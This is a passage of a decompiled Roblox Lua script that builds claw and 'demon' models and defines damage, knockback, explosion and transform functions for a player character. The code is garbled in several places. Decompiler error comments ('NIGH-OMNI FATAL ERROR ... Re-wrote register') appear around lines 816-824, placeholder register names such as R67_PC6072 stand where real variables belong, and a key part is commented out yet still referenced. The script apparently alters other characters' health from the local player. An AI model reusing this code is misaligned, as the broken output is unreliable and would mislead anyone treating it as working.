  771. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  772. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  773. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  774. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  775. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  776. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  777. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  778. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  779. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  780. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  781. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  782. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  783. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  784. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  785. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  786. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  787. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  788. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  789. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  790. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  791. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  792. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  793. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  794. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  795. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  796. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  797. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  798. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  799. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  800. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  801. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Crimson", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  802. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  803. local CBlade = {}
  804. local CBladeWelds = {}
  805. for _,c in pairs(m:children()) do
  806. if c.className == "Part" then
  807. table.insert(CBlade, R67_PC6072)
  808. end
  809. end
  810. for _,c in pairs(m:children()) do
  811. if c.className == "Weld" then
  812. table.insert(CBladeWelds, R67_PC6072)
  813. print(R66_PC6093)
  814. end
  815. end
  816. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  817.  
  818. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  819.  
  820. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Crimson", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  821. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  822.  
  823. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  824.  
  825. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  826. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  827. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Crimson", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  828. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  829. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Crimson", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  830. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  831. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  832. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Crimson", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  833. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  834. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  835. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Crimson", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  836. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  837. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  838. local DBlade = {}
  839. local DBladeWelds = {}
  840. for _,c in pairs(demon:children()) do
  841. if c.className == "Part" then
  842. table.insert(DBlade, c)
  843. end
  844. end
  845. for _,c in pairs(demon:children()) do
  846. if c.className == "Weld" then
  847. table.insert(DBladeWelds, c)
  848. print(c)
  849. end
  850. end
  851. demon.Parent = nil
  852.  
  853. paly = game.Players.LocalPlayer
  854. char = paly.Character
  855. torso = char.Torso
  856. neck = char.Torso.Neck
  857. hum = char.Humanoid
  858. Player = game:GetService("Players").LocalPlayer
  859. local mouse = Player:GetMouse()
  860. Character = Player.Character
  861. tors = Character.Torso
  862. lleg = Character["Left Leg"]
  863. root = Character.HumanoidRootPart
  864. hed = Character.Head
  865. rleg = Character["Right Leg"]
  866. rarm = Character["Right Arm"]
  867. larm = Character["Left Arm"]
  868. local Effects = {}
  869. attack = false
  870. vt = Vector3.new
  871. bc = BrickColor.new
  872. br = BrickColor.random
  873. it = Instance.new
  874. cf = CFrame.new
  875. euler = CFrame.fromEulerAnglesXYZ
  876. angles = CFrame.Angles
  877. matr = math.random
  878. local basiccooldown = math.huge
  879. local ultcooldown = math.huge
  880. local secondcooldown = math.huge
  881. local thirdcooldown = math.huge
  882.  
  883. local boll = Instance.new("Part",game.Lighting)
  884. boll.Transparency = 0.5
  885. boll.Material = "Neon"
  886. boll.BrickColor = tors.BrickColor
  887. boll.Anchored = true
  888. boll.Size = vt(1,1,1)
  889. boll.Shape = "Ball"
  890. boll.CanCollide = false
  891.  
  892. local shur = Instance.new("Part",game.Lighting)
  893. shur.Transparency = 0
  894. shur.Material = "Neon"
  895. shur.BrickColor = tors.BrickColor
  896. shur.Anchored = true
  897. shur.Size = vt(5,0.2,5)
  898. shur.CanCollide = false
  899. local Meshshur = Instance.new("CylinderMesh",shur)
  900.  
  901.  
  902. local boll = Instance.new("Part",game.Lighting)
  903. boll.Transparency = 0.5
  904. boll.Material = "Neon"
  905. boll.BrickColor = bc("Bright red")
  906. boll.Anchored = true
  907. boll.Size = vt(1,1,1)
  908. boll.Shape = "Ball"
  909. boll.CanCollide = false
  910.  
  911. local shur = Instance.new("Part",game.Lighting)
  912. shur.Transparency = 0
  913. shur.Material = "Neon"
  914. shur.BrickColor = bc("Bright red")
  915. shur.Anchored = true
  916. shur.Size = vt(5,0.2,5)
  917. shur.CanCollide = false
  918. local Meshshur = Instance.new("CylinderMesh",shur)
  919.  
  920. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  921. if hit.Parent==nil then
  922. return
  923. end
  924. h=hit.Parent:FindFirstChild("Humanoid")
  925. for _,v in pairs(hit.Parent:children()) do
  926. if v:IsA("Humanoid") then
  927. h=v
  928. end
  929. end
  930. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  931. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  932. end
  933. if hit.Parent.className=="Hat" then
  934. hit=hit.Parent.Parent:findFirstChild("Head")
  935. end
  936. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  937. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  938. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  939. return
  940. end]]
  941. -- hs(hit,1.2)
  942. c=Instance.new("ObjectValue")
  943. c.Name="creator"
  944. c.Value=game:service("Players").LocalPlayer
  945. c.Parent=h
  946. game:GetService("Debris"):AddItem(c,.5)
  947. Damage=math.random(minim,maxim)
  948. -- h:TakeDamage(Damage)
  949. blocked=false
  950. block=hit.Parent:findFirstChild("Block")
  951. if block~=nil then
  952. print(block.className)
  953. if block.className=="NumberValue" then
  954. if block.Value>0 then
  955. blocked=true
  956. if decreaseblock==nil then
  957. block.Value=block.Value-1
  958. end
  959. end
  960. end
  961. if block.className=="IntValue" then
  962. if block.Value>0 then
  963. blocked=true
  964. if decreaseblock~=nil then
  965. block.Value=block.Value-1
  966. end
  967. end
  968. end
  969. end
  970. if blocked==false then
  971. -- h:TakeDamage(Damage)
  972. h.Health=h.Health-Damage
  973. showDamage(hit.Parent,Damage,.5,TorsoColor)
  974. else
  975. h.Health=h.Health-(Damage/2)
  976. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  977. end
  978. if Type=="Knockdown" then
  979. hum=hit.Parent.Humanoid
  980. hum.PlatformStand=true
  981. coroutine.resume(coroutine.create(function(HHumanoid)
  982. swait(1)
  983. HHumanoid.PlatformStand=false
  984. end),hum)
  985. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  986. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  987. local bodvol=Instance.new("BodyVelocity")
  988. bodvol.velocity=angle*knockback
  989. bodvol.P=5000
  990. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  991. bodvol.Parent=hit
  992. rl=Instance.new("BodyAngularVelocity")
  993. rl.P=3000
  994. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  995. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  996. rl.Parent=hit
  997. game:GetService("Debris"):AddItem(bodvol,.5)
  998. game:GetService("Debris"):AddItem(rl,.5)
  999. elseif Type=="Normal" then
  1000. vp=Instance.new("BodyVelocity")
  1001. vp.P=500
  1002. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1003. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1004. if KnockbackType==1 then
  1005. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1006. elseif KnockbackType==2 then
  1007. vp.velocity=Property.CFrame.lookVector*knockback
  1008. end
  1009. if knockback>0 then
  1010. vp.Parent=hit.Parent.Torso
  1011. end
  1012. game:GetService("Debris"):AddItem(vp,.5)
  1013. elseif Type=="Up" then
  1014. local bodyVelocity=Instance.new("BodyVelocity")
  1015. bodyVelocity.velocity=vt(0,10,0)
  1016. bodyVelocity.P=1000
  1017. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1018. bodyVelocity.Parent=hit
  1019. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1020. rl=Instance.new("BodyAngularVelocity")
  1021. rl.P=3000
  1022. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1023. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1024. rl.Parent=hit
  1025. game:GetService("Debris"):AddItem(rl,.5)
  1026. elseif Type=="Snare" then
  1027. bp=Instance.new("BodyPosition")
  1028. bp.P=2000
  1029. bp.D=100
  1030. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1031. bp.position=hit.Parent.Torso.Position
  1032. bp.Parent=hit.Parent.Torso
  1033. game:GetService("Debris"):AddItem(bp,1)
  1034. elseif Type=="Target" then
  1035. if Targetting==false then
  1036. ZTarget=hit.Parent.Torso
  1037. coroutine.resume(coroutine.create(function(Part)
  1038. swait(5)
  1039. end),ZTarget)
  1040. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1041. targetgui=Instance.new("BillboardGui")
  1042. targetgui.Parent=ZTarget
  1043. targetgui.Size=UDim2.new(10,100,10,100)
  1044. targ=Instance.new("ImageLabel")
  1045. targ.Parent=targetgui
  1046. targ.BackgroundTransparency=1
  1047. targ.Image="rbxassetid://4834067"
  1048. targ.Size=UDim2.new(1,0,1,0)
  1049. cam.CameraType="Scriptable"
  1050. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1051. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1052. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1053. Targetting=true
  1054. RocketTarget=ZTarget
  1055. for i=1,Property do
  1056. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1057. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1058. swait()
  1059. end
  1060. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1061. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1062. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1063. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1064. end
  1065. Targetting=false
  1066. RocketTarget=nil
  1067. targetgui.Parent=nil
  1068. cam.CameraType="Custom"
  1069. end
  1070. end
  1071. debounce=Instance.new("BoolValue")
  1072. debounce.Name="DebounceHit"
  1073. debounce.Parent=hit.Parent
  1074. debounce.Value=true
  1075. game:GetService("Debris"):AddItem(debounce,Delay)
  1076. c=Instance.new("ObjectValue")
  1077. c.Name="creator"
  1078. c.Value=Player
  1079. c.Parent=h
  1080. game:GetService("Debris"):AddItem(c,.5)
  1081. CRIT=false
  1082. hitDeb=true
  1083. AttackPos=6
  1084. end
  1085. end
  1086.  
  1087. showDamage=function(Char,Dealt,du,Color)
  1088. m=Instance.new("Model")
  1089. m.Name=tostring(Dealt)
  1090. h=Instance.new("Humanoid")
  1091. h.Health=0
  1092. h.MaxHealth=0
  1093. h.Parent=m
  1094. c=Instance.new("Part")
  1095. c.Transparency=0
  1096. c.Material = "Neon"
  1097. c.BrickColor=bc("Really red")
  1098. c.Name="Head"
  1099. c.TopSurface=0
  1100. c.BottomSurface=0
  1101. local tick = Instance.new("Sound",c)
  1102. tick.SoundId = "rbxassetid://12221976"
  1103. tick.Volume = 5
  1104. tick.Pitch = 4
  1105. tick:Play()
  1106. c.formFactor="Plate"
  1107. c.Size=Vector3.new(1,.4,1)
  1108. ms=Instance.new("CylinderMesh")
  1109. ms.Scale=Vector3.new(.8,.8,.8)
  1110. if CRIT==true then
  1111. ms.Scale=Vector3.new(1,1.25,1)
  1112. end
  1113. ms.Parent=c
  1114. c.Reflectance=0
  1115. Instance.new("BodyGyro").Parent=c
  1116. c.Parent=m
  1117. if Char:findFirstChild("Head")~=nil then
  1118. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1119. elseif Char.Parent:findFirstChild("Head")~=nil then
  1120. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1121. end
  1122. f=Instance.new("BodyPosition")
  1123. f.P=2000
  1124. f.D=100
  1125. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1126. f.position=c.Position+Vector3.new(0,3,0)
  1127. f.Parent=c
  1128. game:GetService("Debris"):AddItem(m,.5+du)
  1129. c.CanCollide=false
  1130. m.Parent=workspace
  1131. c.CanCollide=false
  1132. p:Destroy()
  1133. end
  1134.  
  1135. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1136. for _, c in pairs(workspace:children()) do
  1137. local hum = c:findFirstChild("Humanoid")
  1138. if hum ~= nil then
  1139. local head = c:findFirstChild("Torso")
  1140. if head ~= nil then
  1141. local targ = head.Position - Part.Position
  1142. local mag = targ.magnitude
  1143. if mag <= magni and c.Name ~= Player.Name then
  1144. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1145. end
  1146. end
  1147. end
  1148. end
  1149. end
  1150.  
  1151. function Explode(rad,par)
  1152. local expart = Instance.new("Part",script.Parent)
  1153. local expart2 = Instance.new("Part",script.Parent)
  1154. local partMesh = Instance.new("SpecialMesh",expart)
  1155. partMesh.MeshType = "Sphere"
  1156. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1157. partMesh2.MeshType = "Sphere"
  1158. local expld = Instance.new("Explosion", script.Parent)
  1159. local plode = Instance.new("Sound",expart)
  1160. plode.SoundId = "rbxassetid://165970126"
  1161. plode.Volume = 1
  1162. plode.Pitch = 1
  1163. plode.Looped = false
  1164. plode:Play()
  1165. expld.BlastRadius = rad
  1166. expld.Position = par.Position
  1167. partMesh.Scale = vt(rad,rad,rad)
  1168. expart.Size = vt(1,1,1)*1.5
  1169. expart.Transparency = 0
  1170. expart.Anchored = true
  1171. expart.Material = "Neon"
  1172. expart.BrickColor = bc("Crimson")
  1173. expart.CFrame = par.CFrame
  1174. partMesh2.Scale = vt(rad,rad,rad)
  1175. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1176. expart2.Transparency = 0.5
  1177. expart2.Anchored = true
  1178. expart2.Material = "Neon"
  1179. expart2.BrickColor = bc("Really red")
  1180. expart2.CFrame = par.CFrame
  1181. local value = 1*rad/6.5
  1182. par:Destroy()
  1183. for i = 0, 100 do
  1184. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1185. expart.CFrame = expart.CFrame
  1186. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1187. expart2.CFrame = expart.CFrame
  1188. value = value - 0.035*rad/6.5
  1189. if value < 1 then
  1190. value = 0.25
  1191. expart.Transparency = expart.Transparency + 0.025
  1192. expart2.Transparency = expart2.Transparency + 0.025
  1193. end
  1194. wait()
  1195. end
  1196. plode.Parent = nil
  1197. expart.Parent = nil
  1198. expart2.Parent = nil
  1199. expld.Parent = nil
  1200. end
  1201.  
  1202. function ExplodeMass(rad,par)
  1203. local expart = Instance.new("Part",script.Parent)
  1204. local expart2 = Instance.new("Part",script.Parent)
  1205. local partMesh = Instance.new("SpecialMesh",expart)
  1206. partMesh.MeshType = "Sphere"
  1207. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1208. partMesh2.MeshType = "Sphere"
  1209. local expld = Instance.new("Explosion", script.Parent)
  1210. local plode = Instance.new("Sound",workspace)
  1211. plode.SoundId = "rbxassetid://579687077"
  1212. plode.Volume = 1
  1213. plode.Pitch = 0.85
  1214. plode.Looped = false
  1215. plode:Play()
  1216. local plodez = Instance.new("Sound",workspace)
  1217. plodez.SoundId = "rbxassetid://288641686"
  1218. plodez.Volume = 1
  1219. plodez.Pitch = 0.75
  1220. plodez.Looped = false
  1221. plodez:Play()
  1222. local plodeza = Instance.new("Sound",workspace)
  1223. plodeza.SoundId = "rbxassetid://197161452"
  1224. plodeza.Volume = 0.85
  1225. plodeza.Pitch = 0.65
  1226. plodeza.Looped = false
  1227. plodeza:Play()
  1228. local plodezar = Instance.new("Sound",workspace)
  1229. plodezar.SoundId = "rbxassetid://197161452"
  1230. plodezar.Volume = 0.85
  1231. plodezar.Pitch = 0.25
  1232. plodezar.Looped = false
  1233. plodezar:Play()
  1234. expld.BlastRadius = rad
  1235. expld.Position = par.Position
  1236. wait(0.5)
  1237. par:Destroy()
  1238. plode.Parent = nil
  1239. expart.Parent = nil
  1240. expart2.Parent = nil
  1241. expld.Parent = nil
  1242. end
  1243. function ExplodeMassen(rad,par)
  1244. local expart = Instance.new("Part",script.Parent)
  1245. local expart2 = Instance.new("Part",script.Parent)
  1246. local partMesh = Instance.new("SpecialMesh",expart)
  1247. partMesh.MeshType = "Sphere"
  1248. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1249. partMesh2.MeshType = "Sphere"
  1250. local expld = Instance.new("Explosion", script.Parent)
  1251. local plode = Instance.new("Sound",workspace)
  1252. plode.SoundId = "rbxassetid://579687077"
  1253. plode.Volume = 1
  1254. plode.Pitch = 0.85
  1255. plode.Looped = false
  1256. plode:Play()
  1257. local plodez = Instance.new("Sound",workspace)
  1258. plodez.SoundId = "rbxassetid://288641686"
  1259. plodez.Volume = 1
  1260. plodez.Pitch = 0.75
  1261. plodez.Looped = false
  1262. plodez:Play()
  1263. local plodeza = Instance.new("Sound",workspace)
  1264. plodeza.SoundId = "rbxassetid://197161452"
  1265. plodeza.Volume = 0.85
  1266. plodeza.Pitch = 0.65
  1267. plodeza.Looped = false
  1268. plodeza:Play()
  1269. local plodezar = Instance.new("Sound",workspace)
  1270. plodezar.SoundId = "rbxassetid://197161452"
  1271. plodezar.Volume = 0.85
  1272. plodezar.Pitch = 0.25
  1273. plodezar.Looped = false
  1274. plodezar:Play()
  1275. expld.BlastRadius = rad
  1276. expld.Position = par.Position
  1277. partMesh.Scale = vt(rad,rad,rad)
  1278. expart.Size = vt(1,1,1)*1.5
  1279. expart.Transparency = 0
  1280. expart.Anchored = true
  1281. expart.Material = "Neon"
  1282. expart.BrickColor = bc("Crimson")
  1283. expart.CFrame = par.CFrame
  1284. partMesh2.Scale = vt(rad,rad,rad)
  1285. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1286. expart2.Transparency = 0.5
  1287. expart2.Anchored = true
  1288. expart2.Material = "Neon"
  1289. expart2.BrickColor = tors.BrickColor
  1290. expart2.CFrame = par.CFrame
  1291. local value = 1*rad/10
  1292. par:Destroy()
  1293. for i = 0, 300 do
  1294. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1295. expart.CFrame = expart.CFrame
  1296. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1297. expart2.CFrame = expart.CFrame
  1298. value = value - 0.0175*rad/10
  1299. if value <= 0 then
  1300. expart.Transparency = expart.Transparency + 0.0125
  1301. expart2.Transparency = expart2.Transparency + 0.0125
  1302. value = 0.25
  1303. end
  1304. wait()
  1305. end
  1306. plode.Parent = nil
  1307. expart.Parent = nil
  1308. expart2.Parent = nil
  1309. expld.Parent = nil
  1310. end
  1311. local Ultramode = false
  1312.  
  1313. function Transform()
  1314. if basiccooldown >= 5 then
  1315. hum.WalkSpeed = 0
  1316. local sparta = Instance.new("Part",workspace)
  1317. local msher = Instance.new("SpecialMesh",sparta)
  1318. msher.MeshType = "Sphere"
  1319. msher.Scale = vt(1,1,1)
  1320. wit = BrickColor.new("Crimson").Color
  1321. local glowz = Instance.new("ParticleEmitter")
  1322. glowz.LightEmission = 1
  1323. glowz.Parent = sparta
  1324. glowz.Texture = "rbxassetid://284205403"
  1325. glowz.Color = ColorSequence.new(wit)
  1326. glowz.Size = NumberSequence.new(15)
  1327. glowz.Speed = NumberRange.new(100,250)
  1328. glowz.LockedToPart = false
  1329. glowz.Transparency = NumberSequence.new(0.75)
  1330. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1331. glowz.Lifetime = NumberRange.new(1)
  1332. glowz.Rate = 50000
  1333. glowz.VelocitySpread = 9001
  1334. local sa2 = Instance.new("Sound",sparta)
